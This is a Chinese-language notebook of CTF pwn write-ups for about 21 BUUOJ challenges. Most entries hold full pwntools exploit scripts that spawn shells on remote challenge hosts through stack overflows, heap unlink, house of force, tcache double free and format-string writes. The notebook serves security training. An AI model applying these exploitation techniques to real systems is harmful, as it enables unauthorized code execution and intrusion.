buu第四页笔记
1、护网杯_2018_gettingstart
64位,RELRO半开,Canary,NX,PIE全开
就是普通栈溢出
Exp: from struct import pack from LibcSearcher import * from pwn import * #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) pwn="./2018_gettingStart" #p=process(pwn) p=remote("node4.buuoj.cn",25558) elf=ELF(pwn) #gdb.attach(p,'b *0x80485A0') #pause() v5=0x7FFFFFFFFFFFFFFF v6=0x3FB999999999999A payload=b'a'*0x18+p64(v5)+p64(v6) p.sendline(payload) p.interactive()
2、axb_2019_heap
保护全开,ida打开,菜单堆题
申请chunk和修改函数的内容都通过上图函数,申请的函数,能够自己选择索引的相对地址,且chunk的指针存放地址在bss段上,但是且指针地址+8存放的是chunk的size大小,所以一个chunk的数据记录要消耗bss的note结构体的0x10大小,且申请的chunk在bss段的key为0时只能申请大于0x80大小的chunk
该题在最开始的时候还送了个格式化字符串漏洞,泄露libc的基地址,和程序基地址,在脚本断点不太行,直接gdb动调,我先是发现的%3$p%11$p,但是这个libc的基地址远程不行,换成了%15$p%11$p
只有off by one漏洞,则运用unlink 攻击
create(0,0x88,b'a') create(1,0x88,b'a'*8) create(2,0x88,b'/bin/sh\x00') edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90)) delete(1)
EXP如下,还有一种做法是把chunk0的指针指向key,那样就能申请更小size的chunk,攻击手法就多样化了,这道题就可以用更多的技巧进行攻击
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./axb_2019_heap" #p=process(pwn) p=remote("node5.buuoj.cn",27732) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(index,size,context): p.sendlineafter(">> ",str(1).encode()) p.sendlineafter("create (0-10):",str(index)) p.sendlineafter("size:",str(size)) p.sendlineafter("content: ",context) def delete(index): p.sendlineafter(">> ",str(2)) p.sendlineafter("index:",str(index)) def edit(index,context): p.sendlineafter(">> ",str(4)) p.sendlineafter("index:",str(index)) p.sendlineafter("content: ",context) p.sendlineafter("name: ",b'%15$p%11$p') p.recvuntil("Hello, ") libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240 #-0xf73c0 这是本地打通的偏移,远程libc版本有点偏差,还好函数偏移是对的 pro_base=int(p.recv(14),16)-0x1186 note=0x202060+pro_base sys_addr=libcbase+libc.sym['system'] freehook=libcbase+libc.sym['__free_hook'] create(0,0x88,b'a') create(1,0x88,b'a'*8) create(2,0x88,b'/bin/sh\x00') edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90)) delete(1) edit(0,b'a'*0x18+p64(freehook)+p64(0x30)) #注意chunk0的size要设置一下
edit(0,p64(sys_addr)) delete(2) print("libcbase-->",hex(libcbase),"pro_base-->",hex(pro_base)) print(hex(note)) #debug() p.interactive()
3、oneshot_tjctf_2016
64位,只开了NX,动态链接,ida打开看看
先读入的会泄露地址,后读入会跳转执行
Exp: from struct import pack from LibcSearcher import * from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./oneshot_tjctf_2016" #p=process(pwn) p=remote("node4.buuoj.cn",27938) elf=ELF(pwn) libc=ELF("./libc-2.23-x64.so") #gdb.attach(p,'b *0x40085C') #pause() p.sendlineafter("location?\n",str(elf.got['puts'])) p.recvuntil("Value: ") puts_addr=int(p.recv(18),16) print(hex(puts_addr)) libcbase=puts_addr-libc.sym['puts'] onegadet=libcbase+0x45216 p.sendlineafter("location?\n",str(onegadet)) #pause() p.interactive()
4、wustctf2020_number_game
32位,输入一个数,要满足如下图所示的要求,先输入一个负数,之后的neg eax将该负数进行取反操作,得到的数要还是负数,32位int类型的范围是-2147483648~2147483647,输入的数小于等于该范围的最小数就行,在读入的时候还是十六进制表示是0x80000000,取反还是0x80000000,表示最小数,nc输入值就行
5、gyctf_2020_some_thing_exceting
把flag存放在了bss段上,读入在s地址处,继续往下看像是菜单堆题,看了实际代码是只有创造chunk,freechunk,和view chunk的功能
先看create chunk,调用一次这个函数就会申请三次chunk,第一次是固定大小的chunk,在44行和45行的内容就是把下图标注的chunk 2 和chunk3 的地址存放在固定的chunk1中,chunk 2和chunk3是自定义大小,但是不能超过0x70,且不存在整数溢出,对申请的chunk的size大小进行了限制
漏洞点在free函数,存在uaf漏洞,在freechunk的时候并没有把chunk的指针置0
view可以作为我们泄露libc的一个助力,在展示的时候是根据固定大小的chunk上存放的地址进行输出,如果我们能够控制该chunk,则可以泄露libc,这道题有flag在bss上的确切地址,则我们可以直接泄露flag
create(0x30,b'a',0x30,b'a') #chunk 123 create(0x30,b'a',0x30,b'a') #chunk 456 delete(0) delete(1)
create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a') #泄露libc是附带的,换成别的也行,如下图可以看到,已经能写入chunk 0 的两块内容,接下来就view(0)就是了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_some_thing_exceting" #p=process(pwn) p=remote("node5.buuoj.cn",29194) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- flag=0x6020A8 def create(size1,context1,size2,context2): p.sendlineafter("what you want to do :",str(1)) p.sendlineafter("length : ",str(size1)) p.sendlineafter("> ba : ",context1) p.sendlineafter("> na's length : ",str(size2)) p.sendlineafter("> na : ",context2) def delete(index): p.sendlineafter("what you want to do :",str(3)) p.sendlineafter("> Banana ID : ",str(index)) def show(index): p.sendlineafter("what you want to do :",str(4)) p.sendlineafter("SCP project ID : ",str(index)) create(0x30,b'a',0x30,b'a') #chunk 123 create(0x30,b'a',0x30,b'a') #chunk 456 delete(0) delete(1) create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a') show(0) #debug() p.interactive()
6、starctf_2019_babyshell
第5行缓冲区和闹钟函数,之后把buf的地址通过mmap函数改为可读可写可执行,大小为0x1000,写入shellcode,然后有个栈溢出漏洞
该函数限制了我们写入的范围,必须在unk_400978所规定的字符内容里,联系上图,我们要让return 1进行实现,绕过检查,
这道题只要找一道汇编指令且它反汇编的第一个字节是b'\x00'绕过,就能使*i为0跳出循环
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./starctf_2019_babyshell" #p=process(pwn) p=remote("node5.buuoj.cn",25464) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- p.sendlineafter("shellcode, plz:\n",b'\x00\xc0'+asm(shellcraft.sh())) print(asm("add al,al")) p.interactive()
7、zctf2016_note2
ida打开,是一道菜单堆题,四功能齐全,先读入0x40和0x60大小的姓名和地址,都在bss段上,再进入菜单,create函数,最多能申请四个chunk,且大小不超过0x80
这两个函数一个是防止堆溢出一个字节,并将末位置0,第二个函数会多加一个0,放在一起则会产生0ff by null,且如果read读入的size是0的话,能造成堆溢出
show功能,把bss段上指针存放地址的内容输出
free功能没什么异常,重点看edit函数,这里可以选择两种方式,第一种是让dest的数组为0,继续malloc一个0xa0大小的堆块,然后在字符串后面进行输入最多0x8f个数据,然后将chunkptr原大小+14的位置置0,接下来把我们修改的数据放入原来chunk的地址上,第二种是先把原来的内容放入dest的数组中,把我们的read的内容接着原内容,再放入原chunk 的地址,但是这里的漏洞利用只有off by null
通过unlink进行攻击,因为edit无法利用create的堆溢出漏洞,则把堆溢出放在chunk的中间,0xa1为0x91-0x10+0x20,因为fastbin的最小size为0x21
create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0 create(0,b'aaaa') #chunk 1 create(0x80,b'a') #chunk 2 delete(1) create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3 delete(2)
之后就是泄露atoi的地址,然后替换成system
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./note2" #p=process(pwn) p=remote("node5.buuoj.cn",25551) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter(":(less than 128)\n",str(size)) p.sendlineafter("content:\n",context) def show(index): p.sendlineafter("option--->>\n",str(2)) p.sendlineafter("note:\n",str(index)) def edit(index,size,context): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("note:\n",str(index)) p.sendlineafter("[1.overwrite/2.append]\n",str(size)) p.sendlineafter("TheNewContents:",context) def delete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("note:\n",str(index)) ptr=0x602120 p.sendlineafter("name:\n",p64(elf.got['atoi'])) p.sendlineafter("address:\n",b'a') create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0 create(0,b'aaaa') #chunk 1 create(0x80,b'a') #chunk 2 delete(1) create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3 delete(2) edit(0,1,b'a'*0x18+p64(elf.got['atoi'])) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,1,p64(sys_addr)) p.sendlineafter("option--->>\n",b'/bin/sh\x00') #debug() p.interactive()
8、wustctf2020_name_your_dog
存在后门函数
字符串地址越界写,在bss段上,能做修改的在循环里的倍数为8的为__isoc99_scanf,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./wustctf2020_name_your_dog" #p=process(pwn) p=remote("node5.buuoj.cn",27691) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- back=0x80485cb p.sendlineafter("which?\n>",str(-7)) p.sendlineafter("plz: ",p32(elf.sym['shell'])) p.recv() #debug() p.interactive()
9、gyctf_2020_force
堆题,只有malloc的功能,但是有堆溢出,固定读入0x50大小的内容,则可以进行house of force ,修改top chunk的size,再malloc使进行任意地址读写
由于保护全开,则要先泄露libc基址,则通过malloc一个比topchunk大的size的chunk让mmap函数分配一片地址,跟libc基址有固定偏移,add函数会泄露该地址
然后修改topchunk的size,再把进行house of force
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_force" #p=process(pwn) p=remote("node5.buuoj.cn",28935) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'aaaa'): p.sendlineafter(":puts\n",str(1)) p.sendlineafter("size\n",str(size)) p.recvuntil("addr ") chunk=int(p.recv(14),16) p.sendafter("content\n",context) return chunk libcbase=create(0x200000)+0x200ff0 malloc=libcbase+libc.sym['__malloc_hook'] realloc=libcbase+libc.sym['realloc'] topchunk=create(0x10,p64(0)*3+p64(0xffffffffffffffff))+0x10 ogg=libcbase+0x4526a create(malloc-topchunk-0x30,b'aaa') create(0x20,p64(ogg)*2+p64(realloc+16)) p.sendlineafter(":puts\n",str(1)) p.sendlineafter("size\n",str(21)) #debug() p.interactive()
10、wdb_2018_3rd_soEasy
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./wdb_2018_3rd_soEasy" #p=process(pwn) p=remote("node5.buuoj.cn",26555) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x8048518') p.recvuntil("Hei,give you a gift->") stack=int(p.recv(10),16) #pause() leave=0x08048549 p.sendafter("do?\n",asm(shellcraft.sh()).ljust(0x4c,b'a')+p32(stack)+p32(leave)) p.interactive()
11、judgement_mna_2016
格式化字符串漏洞,要我们猜flag
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./judgement_mna_2016" #p=process(pwn) p=remote("node5.buuoj.cn",29401) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x0804876D') p.sendlineafter("flag >> ",b'%28$s') #pause() p.interactive()
12、picoctf_2018_buffer overflow 0
第二种利用puts函数打印
13、ciscn_2019_en_3
菜单堆题,free存在uaf,malloc自定义大小的堆块,只有两个功能,动调发现puts函数能够泄露一个libc的函数的地址
libc版本是libc2.27,tcache不检查size位,则doublefree进行攻击
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_en_3" #p=process(pwn) p=remote("node5.buuoj.cn",29775) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("choice:",str(1)) p.sendlineafter("of story: \n",str((size))) p.sendlineafter("the story: \n",context) def delete(index): p.sendlineafter("choice:",str(4)) p.sendlineafter("index:\n",str(index)) p.sendafter("your name?\n",b'a'*0x20) p.sendafter("input your ID.\n",b'a'*8) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x81237 #-libc.sym['setbuffer']-231 print(hex(libcbase)) free=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] create(0x20) #chunk 0 create(0x20,b'/bin/sh\x00') #chunk 1 print(hex(free)) delete(0) delete(0) create(0x20,p64(free)) create(0x20,b'/bin/sh\x00') create(0x20,p64(sys_addr)) delete(1) #debug('b $rebase(*0xDD9)') p.interactive()
14、ciscn_2019_final_2
保护全开,ida打开,菜单堆题,只有申请,释放和展示,申请函数只能malloc两种大小的chunk,且展示函数只能输出3次内容,libc2.27,且delete函数存在uaf,且在free之前会对bss段上的bool进行检查,如果为0,则不进行free操作
但是create函数可以配合delete函数使用,create不管是malloc哪种大小的chunk都会将bool的值转1,则可以进行double free
create(2,b'a') delete(2) create(1,b'a') delete(2)
但是现在要泄露libc的基地址
看了wp之后发现init已经在程序创建缓冲区的时候就已经读入了flag,且利用dup2函数将读取flag的fd改为666
#leak ->chunk_low create(1,1) delete(1) create(2,2) create(2,2) create(2,2) create(2,2) delete(2) create(1,1) delete(2) show(2)
先进行chunk的低4字节信息泄露,前面多申请的chunk2都是为了后面合并伪造chunk做准备
#change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91)
这里通过泄露的chunk的低字节位,通过dup将fd指向chunk1类型,再将size位修改为0x91,进行fakechunk,且这里free的chunk1类型是为了下面的操作进行铺垫,
#leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1)
这里chunk1已经size大小修改为0x91,然后通过double free,将tcache填满,然后进行泄露
create(2,stdin & 0xffff) create(1,0) create(1,666)
这里取低字节通过上面一样的方法修改指针末位,使原本指向main_arena的fd指向了__IO_2_1_stdin_,再createchunk1,如果freechunk2就会从unsorted bin 进行分配,即使freechunk的fd指针指向地址为stdin也无法造成修改
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_final_2" #p=process(pwn) p=remote("node5.buuoj.cn",25965) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(typ,context): p.sendlineafter("> ",str(1)) p.sendlineafter(">",str((typ))) p.sendlineafter("number:",str(context)) def delete(index): p.sendlineafter("> ",str(2)) p.sendlineafter(">",str(index)) def show(index): p.sendlineafter("> ",str(3)) p.sendlineafter(">",str(index)) def bye(context): p.sendlineafter("> ",str(4)) p.sendlineafter(" at last? \n",context) #leak ->chunk_low create(1,1) delete(1) create(2,2) create(2,2) create(2,2) create(2,2) delete(2) create(1,1) delete(2) show(2) p.recvuntil("inode number :") chunk_low=int(p.recvuntil(b'\n')[:-1],10)-0xa0 if chunk_low<0 : chunk_low+=0x10000 print(hex(chunk_low)) #change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91) #leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1) p.recvuntil("inode number :") libc_low=int(p.recvuntil(b'\n',drop=True))-96 if libc_low<0: libc_low+=0x100000000 print(hex(libc_low)) libcbase=libc_low-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) stdin=libcbase+libc.sym['_IO_2_1_stdin_']+0x70 print(hex(stdin)) #fd-->666 create(2,stdin & 0xffff) create(1,0) create(1,666) #debug() p.sendlineafter("> ",b'4') p.sendlineafter("at last? \n",b'a') print(p.recv())
15、lctf2016_pwn200
栈可执行,应该是写入shellcode了,ida打开,能输入的第一个函数,能够输入0x30个字节
p.sendafter("are u?\n",b'a'*0x30)
发现能够泄露一个栈地址,接下来的函数能够输入一些数,且最多四字节,如果在if判断范围内,则还会打印输出,如果大于0则返回输入的数
接下来的函数先malloc一个0x40大小的chunk,且dest存放了chunk的地址,然后在栈上读入0x40大小的内容,且dest指针距离rbp8个字节,但是buf读入刚好能够覆盖指针的值,再把读入的内容复制到指针指向的位置,再指针地址存放在bss段上的ptr处,
接下来进入堆的菜单循环,只能申请和删除一个堆块,且存放堆块地址的地方是在上面提到的ptr地址处,这道题用了函数嵌套,gdb动调发现我们通过第一个函数能够控制高地址处的内容,通过第三个函数能够控制低地址内容,则只要fakechunk在中间一块内存,就有了中间一块区域的读写能力,关于这道题就能将返回地址篡改为我们的shellcode地址,这道题运用的是house of spirit
因为我们能够通过第一个函数泄露栈地址,且距离我们写入的地址有固定偏移,则我们在此函数往栈上写入我们的shellcode,如下图所示,shellcode和money都是可控的内存范围,利用chunk的指针伪造chunk将中间的一段内存区域能够写入数据,则可以将 返回地址进行修改为shellcode
fakechunk=shell_addr-0x50 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk))
如下图所示,已经将bss段上的指针指向了栈地址
如下图freechunk,之后再进行申请就可以修改返回地址,之后退出就行
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn200" p=process(pwn) #p=remote("node5.buuoj.cn",25965) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- #debug('b *0x400B0B') paylaod=asm(shellcraft.sh()).ljust(0x30,b'a') p.sendafter("are u?\n",paylaod) p.recvuntil(paylaod) shell_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x50 print(hex(shell_addr)) fakechunk=shell_addr-0x40 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk)) p.sendlineafter("your choice : ",str(2).encode()) p.sendlineafter("your choice : ",str(1).encode()) p.sendlineafter("how long?\n",str(0x30).encode()) p.sendlineafter("48\n",p64(0)*3+p64(shell_addr)) p.sendlineafter("your choice : ",str(3).encode()) #pause() p.interactive()
16、suctf_2018_stack
简单栈溢出
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./SUCTF_2018_stack" #p=process(pwn) p=remote("node5.buuoj.cn",29401) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- p.send(b'a'*0x28+p64(0x40067a)) p.interactive()
17、bjdctf_2020_YDSneedGrirlfriend
菜单堆题,存在申请,释放,输出chunk的功能,且free功能存在uaf
show功能初步判断为print的函数地址存放在chunk的内容中
存在后门函数
把puts函数地址改为后门函数地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./bjdctf_2020_YDSneedGrirlfriend" #p=process(pwn) p=remote("node5.buuoj.cn",26825) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("size is :",str(size)) p.sendafter("Her name is :",context) def delete(index): p.sendlineafter("Your choice :",str(2)) p.sendlineafter("Index :",str(index)) def show(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index)) backdoor=0x400B9C create(0x80) #chunk 0 create(0x60) #chunk 1 puts=0x400863 delete(0) delete(1) create(0x10,p64(backdoor)) #chunk 2 show(0) #debug() p.interactive()
18、gyctf_2020_signin
存在后门函数,算是菜单堆题,因为函数没有去符号,且没有偏差,功能为增加,删除,修改,注意这里有个calloc申请堆块,他不会从tcache中取出chunk,且tcache有个特性,在tcache取出一个chunk时,会在fastbin中如果有同样大小的bin,则可以放入tcachebin中,这样我们就可以把ptr改为tchache中的fd,就能取得shell
增加功能,最多能申请10个固定大小的chunk0x70,且通过索引进行chunk的分配,chunk的指针和状态标识都存放在bss段上
修改函数,普通情况下只能修改一次,且修改大小为0x50
free函数,uaf,指针没有置0,但是判断是依据flags位的标识,但是修改功能还在
这道题虽然只能进行一次修改,但是利用tcache的特性,先申请8个chunk,再释放,再申请一个chunk,将tcache中空出一个位置,再将第8个chunk的fd指针修改,也就是fastbin的fd指针修改并入ptr-0x10,再将calloc,这是分配完tcache就会从fastbin中取出chunkbin并入tcachebin中,这样ptr上就有值了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_signin" p=process(pwn) #p=remote("node5.buuoj.cn",26825) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(index,context=b'a'): p.sendlineafter("choice?",str(1).encode()) p.sendlineafter("idx?\n",str(index)) def delete(index): p.sendlineafter("choice?",str(3).encode()) p.sendlineafter("idx?\n",str(index)) def edit(index,context): p.sendlineafter("choice?",str(2).encode()) p.sendlineafter("idx?\n",str(index)) p.sendline(context) ptr=0x4040C0 for i in range(8): create(i) for i in range(8): delete(i) create(8) edit(7,p64(ptr-0x10)) p.sendlineafter("choice?",str(6).encode()) #debug() p.interactive()
19、xman_2019_format
ida打开函数嵌套,就列出两个比较重要的函数,第一个函数能把我们输入的内容写入chunk中,且把改地址传参进下一个函数,最多能输入0x37个字节
buf地址最终传给s,再调用strtok进行把s内容切割,把第一个“|”前面的内容赋给v1,再打印,接下来进入循环,把切割剩下的继续进行分割,知道分割完也就是遇不到“|”符号,这里就能进行格式化字符串漏洞利用,但是因为写入的内容在堆,所以我们不能自己添加指针输入,则只能利用栈上已经存在的指针进行操作,这里利用动调看看
可以看到如下图所示,我们将ebp的链修改为指向返回地址的地方,再通过d028将返回地址修改为后门函数地址
接下来就是爆破栈上的最后一个字节
from pwn import * context.log_level='debug' for x in range(4, 0x100, 4): tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn' try: p = process('./xman_2019_format') # p = remote('node3.buuoj.cn', 27180) log.info('current low byte:{}'.format(hex(x))) p.recv() p.sendline(tar) p.recv(timeout=1) sleep(1) p.sendline('cat flag') p.recvline_contains('flag', timeout=1) p.interactive() except: p.close()
20、ciscn_2019_sw_1
这里注意RELRO关了,则init.array、fini.array、got.plt
均可读可写;为PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写,根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_sw_1" #p=process(pwn) p=remote("node5.buuoj.cn",27145) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- fini=0x804979C main=0x8048534 call_system=0x80483d0 printf=0x804989c #debug('b *0x8048589') payload=b'%'+str(0x804).encode()+b'c%13$hn'+b'%'+str(0x83d0-0x804).encode()+b'c%14$hn'+b'%'+str(0x164).encode()+b'c%15$hn'+p32(printf+2)+p32(printf)+p32(fini) p.sendlineafter("name?\n",payload) sleep(1) p.sendline(b'/bin/sh\x00') p.interactive()
21、picoctf_2018_are you root
getflag
主函数应该是菜单堆题了,但是做的感觉有点抽象,在申请堆块的时候会申请两个0x21大小的chunk,前一个chunk保存后一个chunk的地址,+8保留的是auth,且free的时候只会free后一个chunk,且内容不做清空,则可以把5写上去再进行申请就能直接getflag
